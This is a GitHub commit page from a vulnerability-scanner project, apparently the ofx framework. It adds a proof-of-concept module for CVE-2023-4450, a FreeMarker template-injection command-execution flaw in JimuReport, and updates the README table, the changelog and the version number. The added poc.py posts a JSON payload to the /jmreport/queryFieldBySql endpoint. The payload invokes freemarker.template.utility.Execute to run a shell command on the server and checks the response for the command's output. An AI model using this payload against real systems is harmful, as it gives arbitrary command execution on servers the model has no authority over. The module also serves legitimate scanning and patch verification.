Skip to content

Commit

Permalink
2.26.5
Browse files Browse the repository at this point in the history
## version 2.26.5

----------------
新增:
* ``JimuReport FreeMarker 服务端模板注入命令执行(CVE-2023-4450)``
  • Loading branch information
bigblackhat committed Jun 14, 2024
1 parent d60d820 commit e67608a
Show file tree
Hide file tree
Showing 4 changed files with 85 additions and 1 deletion.
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -341,10 +341,12 @@ python3 ofx.py -s all -f xxx.txt --proxypool --thread 50

# 🐇 POC支持清单<div id="PocSupport"></div>

<!--
<br>
<details>
<summary>支持的漏洞列表 [点击展开] </summary>
-->

| 应用 | 漏洞名称 | POC路径 |
|---------------------------|-----------------------------------------------------------------|----------------------------------------------------------------------------|
Expand Down Expand Up @@ -450,6 +452,7 @@ python3 ofx.py -s all -f xxx.txt --proxypool --thread 50
| | Jetty指纹识别 | ``poc/Jetty/FingerPrint/poc.py`` |
| | Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-28164) | ``poc/Jetty/Info_Disclosure_CVE_2021_28164/poc.py`` |
| | Jetty Utility Servlets ConcatServlet 双解码信息泄露漏洞 (CVE-2021-28169) | ``poc/Jetty/Info_Disclosure_CVE_2021_28169/poc.py`` |
| JimuReport | JimuReport FreeMarker 服务端模板注入命令执行(CVE-2023-4450) | ``poc/JimuReport/RCE_CVE_2023_4450/poc.py`` |
| 金和OA | 金和OA C6 download.jsp 任意文件读取漏洞 | ``poc/Jinher_金和OA/File_Read_download_jsp/poc.py`` |
| KEDACOM 数字系统接入网关 | KEDACOM 数字系统接入网关 任意文件读取漏洞 | ``poc/KEDACOM_数字系统接入网关/File_Read/poc.py`` |
| 金蝶OA | 金蝶协同办公系统 fileDownload.do 任意文件下载漏洞 | ``poc/Kingdee_金蝶/File_Down_fileDownload_do/poc.py`` |
Expand Down
7 changes: 7 additions & 0 deletions docs/CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,3 +1,10 @@
## version 2.26.5

----------------
新增:
* ``JimuReport FreeMarker 服务端模板注入命令执行(CVE-2023-4450)``


## version 2.26.4

----------------
Expand Down
2 changes: 1 addition & 1 deletion info.ini
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
[info]

version = 2.26.4
version = 2.26.5

author = "jijue"
74 changes: 74 additions & 0 deletions poc/JimuReport/RCE_CVE_2023_4450/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
# coding:utf-8
import requests
from lib.core.common import url_handle,get_random_ua
from lib.core.poc import POCBase
# ...
import urllib3
urllib3.disable_warnings()

class POC(POCBase):

_info = {
"author" : "jijue", # POC作者
"version" : "1", # POC版本,默认是1
"CreateDate" : "2022-01-01", # POC创建时间
"UpdateDate" : "2022-01-01", # POC创建时间
"PocDesc" : """
""", # POC描述,写更新描述,没有就不写

"name" : "JimuReport FreeMarker 服务端模板注入命令执行(CVE-2023-4450)", # 漏洞名称
"VulnID" : "CVE-2023-4450", # 漏洞编号,以CVE为主,若无CVE,使用CNVD,若无CNVD,留空即可
"AppName" : "JimuReport", # 漏洞应用名称
"AppVersion" : "JimuReport <= 1.6.0", # 漏洞应用版本
"VulnDate" : "2022-01-01", # 漏洞公开的时间,不知道就写今天,格式:xxxx-xx-xx
"VulnDesc" : """
积木报表(JimuReport)是一个开源的数据可视化报表平台。在其1.6.0版本及以前,存在一个FreeMarker服务端模板注入(SSTI)漏洞,攻击者利用该漏洞可在服务器中执行任意命令。
""", # 漏洞简要描述

"fofa-dork":"""
""", # fofa搜索语句
"example" : "", # 存在漏洞的演示url,写一个就可以了
"exp_img" : "", # 先不管
}

def _verify(self):
"""
返回vuln
存在漏洞:vuln = [True,html_source] # html_source就是页面源码
不存在漏洞:vuln = [False,""]
"""
vuln = [False,""]
url = self.target + "/jmreport/queryFieldBySql" # url自己按需调整
body="""
{"sql":"select 'result:<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()> ${ex(\\\"echo 12345\\\")}'" }"""

headers = {
"User-Agent":get_random_ua(),
"Connection":"close",
"Content-Type": "application/json",
}

try:
"""
检测逻辑,漏洞存在则修改vuln值为True,漏洞不存在则不动
"""
req = requests.post(url,data=body,headers = headers , proxies = self.proxy ,timeout = self.timeout,verify = False)
if req.status_code == 200 and "application/json" in req.headers["Content-Type"] and "result: 12345" in req.text and "timestamp" in req.text:
vuln = [True,req.text]
else:
vuln = [False,req.text]
except Exception as e:
raise e

# 以下逻辑酌情使用
if self._honeypot_check(vuln[1]) == True:
vuln[0] = False

return vuln

def _attack(self):
return self._verify()

0 comments on commit e67608a

Please sign in to comment.